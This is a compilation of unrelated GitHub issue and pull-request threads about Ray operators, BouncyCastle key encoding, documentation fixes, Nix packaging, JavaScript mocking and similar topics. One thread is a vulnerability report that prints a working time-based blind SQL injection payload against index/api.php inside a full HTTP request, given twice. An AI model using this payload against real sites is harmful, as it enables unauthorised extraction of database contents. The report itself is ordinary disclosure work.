Consolidate different operators into an unified golang ray operator

After talking with @chenk008 @caitengwei @akanso ,   I think we already have some consensus on this plan. Before we move forward, Let's discuss some detail items that still not clear.  Please have a review and leave your comments
/cc  @chenk008 @caitengwei @akanso @chaomengyuan @wilsonwang371
/cc @DmitriGekhtman @yiranwang52
API
It might be easy to follow one of the three styles and make the required changes to meet everyones's need. Ant Group use some low level objects to gain granular control and reusability. API.  MSFT and Bytedance both uses PodTemplate for strong consistency with Pod specs.  Distinctions between two some some details.
Let's use MSFT API as the template here and see if there's anything else need to be added.

Scale in arbitrary pods
Ant and MSFT uses different way to support this feature in the API. I personally think there're tradeoffs. IdList can exactly reflect accurate state of the cluster but the IdList could be long for large clusters. workersToDelete overcomes large cluster paint point but information on RayClusterSpec could be outdated but still acceptable. I think at this moment, we both agree to have workersTodelete supported firstly. If we have further requirement, we can extend ScaleStrategy for richer configurations.

Ant Group
https://github.com/ray-project/ray-contrib/blob/881b59aa44d184a7bdf177b8782d4e1be358fcdf/antgroup/deploy/ray-operator/api/v1alpha1/raycluster_types.go#L89-L93
MSFT
https://github.com/ray-project/ray-contrib/blob/881b59aa44d184a7bdf177b8782d4e1be358fcdf/msft-operator/ray-operator/api/v1alpha1/raycluster_types.go#L56-L60

Remove HeadService
https://github.com/ray-project/ray-contrib/blob/881b59aa44d184a7bdf177b8782d4e1be358fcdf/msft-operator/ray-operator/api/v1alpha1/raycluster_types.go#L17-L19

I feel the ideal way to make it is to add one more field into HeadGroupSpec and ask controller to generate it. The only thing user wants to control is the what kind of service (including ingress) user want to create. It could be ClusterIP, NodePort, LoadBalancer or Ingress based on different network environment. Ports should be exposed based on head pod setting.

Add more status in the RayClusterStatus.

https://github.com/ray-project/ray-contrib/blob/881b59aa44d184a7bdf177b8782d4e1be358fcdf/msft-operator/ray-operator/api/v1alpha1/raycluster_types.go#L63-L71
This is not enough to reflect cluster status. I feel it's better to extend the status to concentrate more on the cluster level status like Bytedance did here. https://github.com/ray-project/ray-contrib/blob/881b59aa44d184a7bdf177b8782d4e1be358fcdf/bytedance/pkg/api/v1alpha1/raycluster_types.go#L87-L102

Support in-tree and out-of-tree autoscaler

Seems both Ant and MSFT use out-of-tree autoscaler, Bytedance still uses in-tree.  The changes on the operator side are

in-tree: automatically append --autoscaling-config=$PATH to head commands. Operator also needs to convert custom resource to an autoscaling config, store it in configmap and mount to head pod.
out-of-tree: explicitly append --no-monitor to head start commands.

it would be good to add a switch to cluster.spec to control the logic. Do you have different opnions?
AutoscalingEnabled *bool `json:"autoscalingEnabled,omitempty"`

Don't use webhook

Kubebuilder uses webhook for validation and default setting. I feel it's a little bit heavy and not a performance efficient way.
I suggest to add basic CRD validation via and use defaulters.go instead.
Management

Do we want to manage ray-operator code at root level or have a ray-operator umbrella folder?  Looks like ray-contrib aims to hold different community codes but currently there're only a few ray-operator implementations.

├── ray-contrib
│   ├── BUILD.bazel
│   ├── Dockerfile
│   ├── LICENSE
│   ├── Makefile
│   ├── README.md
│   ├── api
│   ├── config
│   ├── controllers
│   ├── go.mod
│   ├── go.sum
│   ├── hack
│   ├── main
│   └── main.go

or
└── ray-contrib
    ├── README.md
    └── ray-operator

Code review
What's the review styles we want to follow? Every PR should be accepted by reviewers from two different companies?

Release
Even every company may have downstream version, we'd like to effectively track and control changes. I suggest to follow semantic versioning.

For each minor version, let's cut a release branch to track bug fixes and patches.
Cut tag for every release

# Branches
release-0.1
release-0.2

# Tags
v0.1.0
v0.1.1
v0.2.0
v0.2.1
v0.2.2

I will prepare some release tools to help easily manage these stuff.
Testing and Tools

Presubmit Testing.
MSFT already enables Github workflows and trigger basic testing against the submitted PRs. I think we should keep doing this and add e2e testing to guarantee the code quality.

Host container image

This would be super helpful for community members to achieve one-click deployment.
I am not sure if Anyscale can create a robot token to get access to dockerHub. Github support encrypted secrets and we can use Github action to retrieve it and push to docker registry.

Bazel build

I notice both Ant Group and MSFT add BAZEL here and here. I feel this is complicated and not the native way to manage golang dependencies. Kubernetes community already remove BAZEL and I would suggest not to use it in the new project.

Kubebuilder 2.0 vs 3.0 and Kubernetes version.

Kubebuilder already release 3.0, I think it would be good to upgrade to the latest version.
Let's also ping major stack version for the first release. Kubernetes 1.19.x and golang 1.15.
Please check any concerns one above plans and any features are missing.

LGTM.
An unified golang ray operator is required,  it can help user to start Ray cluster.

I prefer to add ray-operator directory in ray-contrib. We can separate it to a repository in the future.
└── ray-contrib
    ├── README.md
    └── ray-operator

I think so far we have converged on

└── ray-contrib
    ├── README.md
    └── ray-operator

removing HeadService definition.
keep serviceType and isIngress, where isIngress is optional and defaults to false.

in the status use MinWorkerReplicas => use the term workers since we are counting the workers. There is always a head so it is implicitly know that the cluster has a +1 pod as head.

make sure PRs are reviewed by at least 1 extra company, to avoid having the contributors of the same company submit PRs and approve them.

enhance testing, using release tags, split the Readme file into multiple ones and in different directories. [e.g. examples, ...]

The ./msft-operator/ray-operator will used as the starting point, and the changes will be done on that implementation. We will remove any company name from this repo to make more user friendly.

additional tools that are not part of the operator (e.g. kubectl extensions to show status, dashboards, etc.) can be stored under
└── ray-contrib
    ├── README.md
    └── ray-operator
    └── ray-operator-tools

To make commit and change history clean. We can file separate PRs which will be easier for review.

Deprecate existing implementations and rename reusable codes to /ray-contrib/ray-operator without modification
Apply new changes based on above step and this gives us real code changes

I create a stale branch https://github.com/ray-project/ray-contrib/tree/stale as a backup branch just in case.

Haven't a chance to look at things carefully.
I prefer out-of-tree autoscaler:
user or external autoscaler can specify workers to delete and desired scales for a finite collection of Ray worker pod types.
(scale==numWorker==numReplicas, whatever the choice of terminology)
I think that's most of the desired requirements we'd like to express from Anyscale side.
cc @sasha-s @yiranwang52 for anything you'd like to add

@DmitriGekhtman the approach followed today, an external auto-scaler can update the raycluster custom resource to scale up/down.
Scaling up is straight forward, the auto-scaler would change the number of replicas.
Scaling down requires: 1 - changing the number of replicas 2- (optional) specify which specific pods to delete first.
if (currentNumber - desiredNumber) == length(listOfPodToDelete) then we don't delete random pods, otherwise after deleting the specific pods in the list, we remove random ones until the desiredNumber is met.
This allows for the most flexibility when scaling down, allowing to delete random pods or specific pods

@akanso
that sounds good to me
Is there currently support for adjusting the scale of different worker pod types independently?


Add MPInteger encoding without multiple leading zeros

It appears that there are some pathological BigInteger implementations which include multiple leading zero bytes in the output of the #toByteArray() method.
This is probably fine in other places, such as ASN.1 integers, but for some reason it confuses GPG. Attached you'll find two experimental ECDSA P-256 keys that differ only in their encoding of the Q point (pkey[1]) section which includes an extra leading 0 byte. The keys have been generated in the Android emulator, so the pathological representations might be due to Android's implementation of either BigInteger or the AndroidKeyStore EC key generator.
Regardless, the change below will strip any leading zero bytes from the BigInteger's big-endian representation as returned by #toByteArray().
The flow which impacts the operations I'm using goes through org.bouncycastle.openpgp.PGPUtil#dsaSigToMpi(byte[]).
RFC4880 does not directly say, but it does imply that there are only as many leading zero-bits so that the octet boundary is met.
Interestingly, the MPInteger(BCPGInputStream) constructor is unlikely to be able to decode this type of integer properly.
Invalid public key, notice 0400 prefix in pkey[1], length of byte array is 66:
:public key packet:
	version 4, algo 19, created<PHONE_NUMBER>, expires 0
	pkey[0]: 082A8648CE3D030107 nistp256 (1.2.840.10<IP_ADDRESS>)
	pkey[1]: 04008769EFA44930B41273D7F3004F1B90E534ED104E1A80BC5BB33FB73F01FCA3A6338A09439A4BAD759E661346EDD9563A916614EE8AFC923C1112E079B5AB2949
	keyid: 1D345FE607BC8518

Valid public key, length of byte array is 65:
:public key packet:
	version 4, algo 19, created<PHONE_NUMBER>, expires 0
	pkey[0]: 082A8648CE3D030107 nistp256 (1.2.840.10<IP_ADDRESS>)
	pkey[1]: 0431094A4E7B9CBBA41696B31178105DE4CD635B83BD5088A9A83A352AE27AB6E55170991F6F7C38AFA8A39D6E085B3283BE1EF78CA02BBCF6907EEBAD52CFF093
	keyid: F54CF38AC9CFE768

I'm not sure this is correct:
:public key packet:
version 4, algo 19, created<PHONE_NUMBER>, expires 0
pkey[0]: 082A8648CE3D030107 nistp256 (1.2.840.10<IP_ADDRESS>)
pkey[1]: 04008769EFA44930B41273D7F3004F1B90E534ED104E1A80BC5BB33FB73F01FCA3A6338A09439A4BAD759E661346EDD9563A916614EE8AFC923C1112E079B5AB2949
keyid: 1D345FE607BC8518
is clearly wrong, but it's wrong because whoever is creating the key is calling toByteArray() and assuming that the Java BigInteger is unsigned. It's not, it's signed, which is the reason for the leading zero. It's not an extra leading zero though:
048769EFA44930B41273D7F3004F1B90E534ED104E1A80BC5BB33FB73F01FCA3A6338A09439A4BAD759E661346EDD9563A916614EE8AFC923C1112E079B5AB2949
would be the correct key.
How is the public key being created?

You're right @dghgit, the problem is in some custom encoding code. I'm closing the PR. Thanks!


Incorrect instruction in Docs: Create and deploy container image: Deploy application

In section Deploy container, it's mentioned to use "the service principal ID and password that you created to access the registry." However, it seems that in Tutorial: Create an Azure container registry and push a container image, the acr is not created through service principal.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: a27b22e3-437d-04f2-a542-b20facee238b
Version Independent ID: e4b43d9c-3dc8-3ed0-9b3e-2972e8788bea
Content: Tutorial - Deploy container app to container instance - Azure Container Instances
Content Source: articles/container-instances/container-instances-tutorial-deploy-app.md
Service: container-instances
GitHub Login: @macolso
Microsoft Alias: macolso

@mirsaeedi Thanks for the feedback! I have assigned the issue to content author to check and update the document as appropriate. We will update you accordingly.

@macolso Can you please check and add your comments on this doc update request as applicable

just noticed this as well.  There's no way to complete part 3 of the tutorial as there's no reference to a service principal

Thanks for your dedication to our documentation. Unfortunately, at this time we have been unable to review your issue in a timely manner and we sincerely apologize for the delayed response. Though the scope of our feedback channel here on GitHub covers specific documentation fixes, we can help redirect you to the right support channel to get an answer to your question: [reference to alternative product/service or community endpoint]. Because this issue does not relate to documentation, we are closing this issue. #please-close


fill in metrics file

I think this metrics.mdwas meant to be a placeholder for extra statistics that aren't part of the StdSuite of DScore. Is that correct? If so, it needs to be populated.
I think we should also somewhat follow the naming scheme of the other files and rename to something like Metrics_Supplementary.ipynb or something along those lines. Open to suggestions here - I think we discussed its name, but I don't remember the conclusion.

Was this meant to be an overview explanation of the statistical suites as a .md file & where to find further details in the ipynbs? I can't remember.

I think this metrics.md

@amsnyder  -- this is another case of some sort of file being needed as a 'container' for the sub-sections included as children in the TOC of the jupyterbook.  We should definitely put text in that document, so we won't accidentally remove it, as we did with clusters.md.
Whatever gets written in there, include this as the final couple of lines:

```{tableofcontents}
```

That will instruct the book compiler to include a mini-table-of-contents for the "children" of metrics.md as clickable links.

@amsnyder I'm currently creating the Metrics_Supplementary.ipynb as part of my work on the analysis notebook. This is separate from the metrics.md.

What will the metrics.md be filled in with? Or is it something we should delete?

What will the metrics.md be filled in with? Or is it something we should delete?

Cannot delete.
See here
and here
These near-empty files are used as 'containers' for sub-sections or sections in the jupyterbook. They are placeholders.  For best effect, they should contain text to describe what they contain.  I put them in as empty for the prototype/demo, which is why they look delete-able. If we want all of those metrics notebooks as sub-sections, then we need this file (or something like it) as the parent in the TOC.

Sorry @gzt5142 - I totally missed your first comment in this thread. Is there any reason we can't use the README.md in each directory to provide that content instead of creating an additional document? How will the content differ between the two files?

I suppose that depends on the target structure/outline... Do you want the outline depth to stop at the evaluation chapter, or do you want sections and sub/sections (depth=2 or more).
That is... This:

evaluation

Dscore definition
StdSuite definition
Dscore usage
Std Suite Usage
Streamflow Overview

...

Conus eval

or this:

evaluation

metrics

dscore definition
dscore usage
stdsuite definition
stdsuite usage

Streamflow Overview

...

conus eval

The 'top' level ("evaluation" in this case) will appear as a chapter -- with a toggle to expand its sections. With the flatter definition (first option, above), all components will show at once -- all are direct children of 'evaluation'.  With the hierarchical definition (second option, above), 'metrics' becomes a sub-section title, with a toggle to show the children (or not).
Both work fine. I built it as I did because I think that hierarchy occupies less of the TOC panel and lets the user drill down to what they want. If we think that flatter is better, then we need to adjust the TOC to reflect that.
Discussion of the TOC philosophy (flat vs hierarchy) should probably be taken up in #266 , since it affects the whole repo.

Got it - that makes sense @gzt5142 and I like the hierarchical structure. It is probably helpful to link to the child markdown files from the top level directory readme, so let's make sure we do that when this gets populated.
If there are more markdown files that you need added/populated, let's create an issue for each one so that we can task people to create the content.


Question: Backtick support with mini-pairs

Contributing guidelines

[X] I have read CONTRIBUTING.md
[X] I have read CODE_OF_CONDUCT.md

Module(s)
mini-pairs
Description
Hi, firstly thank you for your excellent plugin suite!
I was wondering how to configure the following two scenarios with mini-pairs:

Single backtick should place the cursor in the middle and close with a single pairing backtick. (Example: writing a single line code block in markdown)
Triple backticks should place the cursor after the third backtick and close with triple pairing backticks (Example:  writing multi-line code blocks in a markdown file).

Any suggestions?

1. Single backtick should place the cursor in the middle and close with a single pairing backtick. (Example: writing a single line code block in markdown)

If I understand you correctly, it is already a default behavior: typing ` in empty line will lead to `|` (| meaning cursor).

2. Triple backticks should place the cursor after the third backtick and close with triple pairing backticks (Example:  writing multi-line code blocks in a markdown file).

mini.pairs is designed to work only with single previous and single next characters. This was done to make functionality as fast as possible. Working with a greater number of previous/next symbols should be done with snippets, in my opinion.
Does it answer you question?

Yup, that answers it. Thanks @echasnovski


fuse3: 3.10.1 -> 3.10.2

Motivation for this change
Tested using sshfs.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 112016 run on x86_64-darwin 1

32 packages marked as broken and skipped:

almanah
backintime
backintime-common
backintime-qt
bindfs
gnome-recipes
gnome3.nautilus-python
malcontent-ui
mate.mate-utils
mtpfs
ori
python37Packages.fuse
python37Packages.fusepy
python37Packages.guestfs
python37Packages.pyfuse3
python38Packages.fuse
python38Packages.fusepy
python38Packages.guestfs
python38Packages.pyfuse3
python39Packages.fuse
python39Packages.fusepy
python39Packages.guestfs
python39Packages.pyfuse3
qemu_xen
qemu_xen_4_10
sandboxfs
spark
sqlar
telepresence
tup
udiskie
wimlib


[Security] Introducing securitySolutionsReferenceData CLI

Description
[Security] Add securitySolutionsReferenceData commands
Add securitySolutionsReferenceData commands, helps you control which applications can run on your Azure and non-Azure machines (Windows and Linux)
Testing Guide
The commands have been tested by running this test function "test_security_securitySolutionsReferenceData"

This checklist is used to make sure that common guidelines for a pull request are followed.

[*] The PR title and description has followed the guideline in Submitting Pull Requests.

[*] I adhere to the Command Guidelines.

security

@kairu-ms - Will appreciate your help here, please advise.


workspace Support

Usually I do workspace configuration and put crates in crates/* whilst the github repo acts as a monorepo for these
Large projects tend to divide and layer things between small crates that can be re-used across various projects

@pinkforest so, the rust+wasm template generator does break up things as a workspace. I just take the approach of https://github.com/tokio-rs/tokio (which I prefer, and do not use a crates folder specifically). Do you mean, more so, having a prompt for the workspace or not for the rust-only generator, which doesn't have that option today?


Option for specifying bind IP

Listening on localhost means we can't use xip.io. Would this be a reasonable PR?

You're right, I've added the option.
~/.hotel/conf.json
{
  "port": 2000,
  "host": "<IP_ADDRESS>"
}

However, it won't work with xip.io because the daemon doesn't check the hostname to find the process (name.192.168.x.y.xip.io).
But, if you need to access a server from another device, you can use the following URL:
http://192.168.x.y:2000/name # -> will redirect to http://192.168.x.y:4567`

Or you can symply go to http://192.168.x.y:2000 and get server list.

Thanks! I thought xip.io would still work by doing:
http://192.168.x.y.xip.io:2000/name
El sáb., 20 jun. 2015 a las 5:06, typicode<EMAIL_ADDRESS>escribió:

You're right, I've added the option.
~/.hotel/conf.json
{
"port": 2000,
"host": "<IP_ADDRESS>"
}
However, it won't work with xip.io because the daemon doesn't check the
hostname to find the process (name.192.168.x.y.xip.io).
But, if you need to access a server from another device, you can use the
following URL:
http://192.168.x.y:2000/name # -> will redirect to http://192.168.x.y:4567`
Or you can symply go to http://192.168.x.y:2000 and get server list.
—
Reply to this email directly or view it on GitHub
https://github.com/typicode/hotel/issues/4#issuecomment-113700327.

You're welcome.
BTW the URL in your example should work, it's only "sub-domains" on xip.io (i.e. name.a.b.c.d.xip.io) that won't.


Added missing proposition 'to' in email body

Added missing propositon to in  account-deleted.body.txt.

@di Could you please check and merge this?
Thanks


TypeError: NFC is not a constructor

const { NFC } = require('nfc-pcsc');
const nfc = new NFC();
            ^

TypeError: NFC is not a constructor

Check out https://github.com/pokusew/nfc-pcsc/issues/12

Hi @abhilash1in,
you were probably reading docs for master branch (unpublished version), while 0.5.0 was published.
Nevertheless, I have just published 0.6.0 version.
Please upgrade nfc-pcsc to 0.6.0 in your project and it should work without problems, when you require it like you did:
const { NFC } = require('nfc-pcsc');
const nfc = new NFC();

Hope it helps.

Works great now! Thanks!


print the renamed function name in a frida snippet

The implementation for this feature #1772

@Ran-Naor  IMHO it would be nicer if the log message would be generated similar as frida-trace does, which means not by string concat but this way:
console.log(`SomeManager.a is called: context=${context}`);


SQL injection

SQL injection vulnerability in index/api.php file (time blind)

Request header information:
POST /index/api.php HTTP/1.1
Host: l.com
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://l.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://l.com/index/writeCard.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gdchbjp7dfeg4ujsvt036mjhkv; _pk_id.3.045e=0379e4693a710c47.1682491321.; _pk_ses.3.045e=1
Connection: close
state=zan&id=1' and if ((ascii(substr(database(),1,1))=108),sleep(3),1)#
Trigger condition:
In /index/api.php, when state= is not used, the received id is directly used to query the database, but there is no echo information, but the blind note of the time can be used to query the database information directly.

SQL injection vulnerability in index/api.php file (time blind)

Request header information:
POST /index/api.php HTTP/1.1
Host: l.com
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://l.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://l.com/index/writeCard.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gdchbjp7dfeg4ujsvt036mjhkv; _pk_id.3.045e=0379e4693a710c47.1682491321.; _pk_ses.3.045e=1
Connection: close
state=zan&id=1' and if ((ascii(substr(database(),1,1))=108),sleep(3),1)#
Trigger condition:
In /index/api.php, when state= is not used, the received id is directly used to query the database, but there is no echo information, but the blind note of the time can be used to query the database information directly.

非常感谢，该项目暂时处于停止维护的状态，后期如有时间会修复当前漏洞。


[Feature Request] Build more on the changed documentation

Current Behavior

New documentation is more verbose than before. But it requires more work.
Desired Behavior

Add the latest performance comparison.
Document the public-facing API
Document Usage examples
Fix any grammatical error.
Hosting
.....

Screenshots / Mockups

Alternatives

Feedback from Reddit

I like the look and feel of the documentation, but the navigation link is at the bottom on my android with firefox. It confused me for a minute. I'm used to those being near the top.
In the features page, in the first two examples, the handler doesnt take any arguments whereas the rest of the examples on that page take a request argument. There is no mention of this outside the code examples. Does a handler behave differently based on call signature? (The example on the getting-started page also takes no argments)
Side note: Im really digging the idea of a rust based framework for Python web apps.
I also like the const feature, and Im really looking forward to the orm integration mentioned in the roadmap. I would love to see some built-in authentication features as this is what keeps me chained to django (although I do really like django).
I would expect that in "Contributor Guidelines" there would be a link to https://github.com/sansyrox/robyn/blob/main/CONTRIBUTING.md. Besides that, all looks OK. The navigation is a little bit confusing, the links don't put you to the top of the page (at least in Firefox on desktop)
You have a section called Contribution Guidelines, but it is not a link to your contribution.md that you have on your Git repo. It would be good that you have a link to Our contrib guide on your repo.

Closing this now.


api-pls schema

If all of the tables created by api-pls are in a schema, then they wouldn't interfere with existing tables.

This will also help with #43. Looking at tables one-by-one isn't enough to determine one-to-one relationships, nor many-to-many.


[WIP] actions: add Tagline command

This is totally not ready to merge. The desire of this is to replace the ~/.de/tagline with a command which can live in ~/.de/startup. It doesn't do that yet, and it has other problems besides.

[ ] ResetTagline should use the value from Tagline instead of getDefaultTagline
[ ] Tagline should accept args containing a space, eg Tagline:Foo Bar. Perhaps quoting/escaping (ugh)? Can we just rely on startup to use complete lines, and use selection for manual execution?

Colons get replaced by space (unless they're escaped with a backspace ) to make it possible to have spaces in executable words in the tagline.
I think that the appropriate behaviour for the startup script should be to execute lines one at a time as you suggest, even if there's spaces, but I'd have to look at the code to see if that's currently the case.

looks like a ~/.de/startup file of:
Tagline:Save Discard Cut Cupy Paste Undo Exit Shell a+ a-
TermWidth:72

sets the tagline to the entire string correctly, and still correctly uses the TermWidth command.


Intermittently B2B sub org user logout doesn't work

Describe the issue:

Configure a B2B app share with orgs
Log as a sub org user
Try logout

https://github.com/wso2/product-is/assets/25483865/19d7dee8-761e-47da-a2c5-a987f6a2bfda
Getting this printed in the terminal
[2024-01-24 15:11:35,520] [835565a9-8abf-40b3-a282-b7c4e46bfa34]  WARN {org.wso2.carbon.identity.oidc.session.servlet.OIDCLogoutServlet} - Provided Post logout redirect URL does not match the registered callback url.

Configured callbacks are as follows:

Can you show the callback URL which is set in the shared app. @AnuradhaSK

Seems the callback URL is wrong, it should be root tenant's common auth URL

This issue is not reproducible in the latest pack. Callback URL in the shared app is correct.


Allow user-provided ratchet seed and inumber

Summary
In some cases, we want to be able to deterministically create a directory with seeds generated at userland, for example, from private keys. There is a hacky solution to this by passing a carefully designed rng, but that is likely to break in future versions.
This PR adds the API for accepting user-specified ratchet seed and inumber that solves the problem outlined above.

This PR implements the following features

[x] Support user-specified ratchet seed and inumber
[x] Expose corresponding wasm/js API
[x] Bump version

Test plan (required)

Testing
rs-wnfs test --all

Closing issues

Fixes #86

What's the reasoning on using with_* naming?
I actually find it slightly confusing and think from_* makes more sense, because the parameters to the from_seed and from_ratchet_key functions deterministically define the PrivateRef. Every property in the PrivateRef depends on the arguments in these functions.
with seems to indicate there's 'something else' to it.
That said, I may just not know the normal rust conventions yet! :sweat_smile:

I don't mind either really but generally with_* seems to be preferred if you constructing an object out of other thing(s), and from if you are going to implement the From<T> trait. In this case that means implementing a From<(Namefilter, HashOutput, ...)> which doesn't feel nice. So I went with with_*. But I agree with you from_* sounds better.
Maybe this is sth @zeeshanlakhani can help out with.

Ah and @appcypher can you add a unit test that creates a PrivateDirectory::with_seed, stores it in a PrivateForest, then loads it again via a PrivateRef::with_seed with the same parameters? :pray:


update README with guestbook sample app

Add guestbook sample to README.
/cc @runseb

I would move this to docs/user-guide.md
we should keep the main README relatively clean for the proposal review to join the incubator.

Ah... OK so I should close this one and make a new PR adding guestbook to user-guide.md and also including a simple guideline for kompose down


Missing dependency after freyja update

Freyja was recently updated:
freyja                                 1.5.0-pyhdfd78af_0 --> 1.5.1-pyhdfd78af_0
Resulting in the following error when running freyja demix:
Traceback (most recent call last):
  File "lib/python3.10/site-packages/pandas/compat/_optional.py", line 141, in import_optional_dependency
    module = importlib.import_module(name)
  File "lib/python3.10/importlib/__init__.py", line 126, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File "<frozen importlib._bootstrap>", line 1050, in _gcd_import
  File "<frozen importlib._bootstrap>", line 1027, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1004, in _find_and_load_unlocked
ModuleNotFoundError: No module named 'pyarrow'

pyarrow was added as a dependency: https://github.com/andersen-lab/Freyja/compare/v1.5.0...v1.5.1
There may be multiple additional requirements docs/requirements.txt

demixing
module 'cvxpy' has no attribute 'CLARABEL'
Error: Demixing step failed. Returning empty data output

Resolved after upgrading cvxpy
Need to switch from using usher_barcodes.csv to lineage_mutations.json - https://github.com/andersen-lab/Freyja/commit/27bcfbaa22a3d012d05e3a274cd332f8ce36117f


Mocking Model.query() with .resolve() fails when using insertAndFetch()

Objection tries to access DB connection when chaining insertAndFetch off of a mocked query using .resolve(). This results in the following error: no database connection available for a query. You need to bind the model class or the query to a knex instance.
Other methods such as insert work fine when chained off of .resolve().
My assumption is that this issue is caused because the insertAndFetch method is responsible for fetching the inserted record as well, however, one would expect this to be handled due to the resolve method being used.
I would guess that a simple solution to solve this issue would be to treat insertAndFetch method the same as insert when chained to the resolve method.
code example:
Animal Model

const { Model } = require("objection");

class Animal extends Model {
	static get tableName() {
		return "Animal";
	}

	static get jsonSchema() {
		return {
			type: "object",
			required: ["name"],

			properties: {
				id: { type: "integer" },
				ownerId: { type: ["integer", "null"] },
				name: { type: "string", minLength: 1, maxLength: 255 },
				species: { type: "string", minLength: 1, maxLength: 255 },
			},
		};
	}
}

module.exports = Animal;

Unit Test
const Animal = require("./Animal");
const { QueryBuilder } = require("objection");

describe("dbMethods.createUser", () => {
	const queryMock = jest.spyOn(Animal, "query");

	const animalObj = {
		name: "scott",
	};

	queryMock.mockImplementation(() =>
		QueryBuilder.forClass(Animal).resolve(animalObj)
	);

	it("calls Animal.query()", async () => {
		const result = await Animal.query().insert(animalObj); // THIS WORKS WITHOUT DB CONNECTION
		const result2 = await Animal.query().insertAndFetch(animalObj); // THIS DOES NOT WORK WITHOUT DB CONNECTION
		expect(queryMock).toBeCalled();
	});
});

resolve is not meant for mocking. There's no guarantee that the knex instance is not accessed. I think you can mock the query builder's execute method instead and return whatever you want from there.

resolve is not meant for mocking. There's no guarantee that the knex instance is not accessed. I think you can mock the query builder's execute method instead and return whatever you want from there.

Sorry for the confusion, however, I arrived at the solution to use resolve for mocking from your own suggestion in the issue raised here: https://github.com/Vincit/objection.js/issues/1477#issuecomment-533789575

You can use the resolve method to skip the db query and mock the db result.

Should resolve be used for mocking or not?

Sorry for the confusion, however, I arrived at the solution to use resolve for mocking from your own suggestion in the issue raised here: https://github.com/Vincit/objection.js/issues/1477#issuecomment-533789575

You can use the resolve method to skip the db query and mock the db result.

Should resolve be used for mocking or not?

@koskimas probably busy, however, this inconsistency is still here. Should resolve be used for mocking or not? If not, can you consider updating the linked issue with an appropriate solution?

You can use it for mocking, but it is not designed for mocking. That's why you can have some issues with it. Do whatever you like with it. Why do you need some kind of approval from me?


Byte-compiler warnings

In *Compile-Log* from today's MELPA version:
In go--in-case-clause-list-p:
go-mode.el:656:28:Warning: reference to free variable
    ‘go--case-or-default-regexp’
go-mode.el:672:24:Warning: reference to free variable ‘go--case-regexp’

In go--fill-prefix:
go-mode.el:743:31:Warning: reference to free variable
    ‘go--comment-start-regexp’

In go--interesting-comment-p:
go-mode.el:786:18:Warning: reference to free variable
    ‘go--comment-start-regexp’

In go--fill-forward-paragraph:
go-mode.el:806:33:Warning: reference to free variable
    ‘go--comment-start-regexp’

In go--boring-line-p:
go-mode.el:1151:24:Warning: reference to free variable
    ‘go--comment-start-regexp’

In go--case-comment-p:
go-mode.el:1207:38:Warning: reference to free variable
    ‘go--case-or-default-regexp’

Moving these (defconst) up to before they are used would fix these warnings.


Is there an example of Yolov5-repghost?

How to modify yolov5.yaml and common.py? Could you please provide relevant examples? Thank you

How to modify yolov5.yaml and common.py? Could you please provide relevant examples? Thank you


Fixed whitespace, eof and typo.

Thanks for the fixes, and sorry for taking so long to review them!

No problem ... I later realised this example is connected to the example. Should we take care with that?


Spring Clound Contract consumer response contains escape character ""

Spring Clound Contract Stub runner response contains escape character "" . Which inturn leads to mapping failure. I am using spring cloud contract version 2.0.1 on windows machine.  Please let me know whether there is a fix or workaround available for this problem.

Could you please provide a failing test? Preferably a failing sample and push it to github? I don't have a Windows machine so it's hard for me to replicate this.

The below is the sample response from Stub runner. Which fails at rest template object mapping due to the presence of  escape character().
"response" : {
"status" : 200,
"body" : "{"id":"1234","bsn":"test"}}"

Can you provide a complete, minimal, verifiable sample that reproduces the problem rather than pasted code? It should be available as a GitHub (or similar) project or attached to this issue as a zip file.

If you would like us to look at this issue, please provide the requested information. If the information is not provided within the next 7 days this issue will be closed.


Serve documentation on pub.dartlang.org

Related to #227. In addition to (eventually) switching dartdocs.org over
to be hosted on pub, we would also like to serve the generated docs on
the pub.dartlang.org domain.
This change:

Adds dispatch mapping for dartdocs.org and
pub.dartlang.org/documentation, mapping to the dartdoc service.
Makes pub.dartlang.org/documentation serve the dartdoc index page.
Switches the documentation link on the package pages to
pub.dartlang.org.

@isoos WDYT? We were trying to set up the configuration for switching over dartdocs.org so we could test it before actually doing it, but AppEngine won't let us since dartdocs.org is already associated with another project... So we talked about serving the docs directly from pub.dartlang.org first, and making sure that works, so we have something that works, in case dartdocs.org goes down for a while when migrating the domain.
cc @mit-mit

This still requires a customization change on the generated dartdoc page: its canonical url is on dartdocs.org, but as I'm changing the tracking code, I'll add this too.


Dispose MemoryStream

Dispose on MemoryStream is essentially no-op - https://github.com/dotnet/coreclr/blob/master/src/mscorlib/src/System/IO/MemoryStream.cs#L151


Restructures integration tests

This PR, if accepted, would close #171.
I started to play around with the ability to move the app directory, but that is going to require some change beyond the scope of this PR.

Looks good! Could you take a look at the merge conflicts? Feel free to merge afterwards 👍


chore(main): release 5.0.4

:robot: I have created a release beep boop
5.0.4 (2024-04-19)
Features

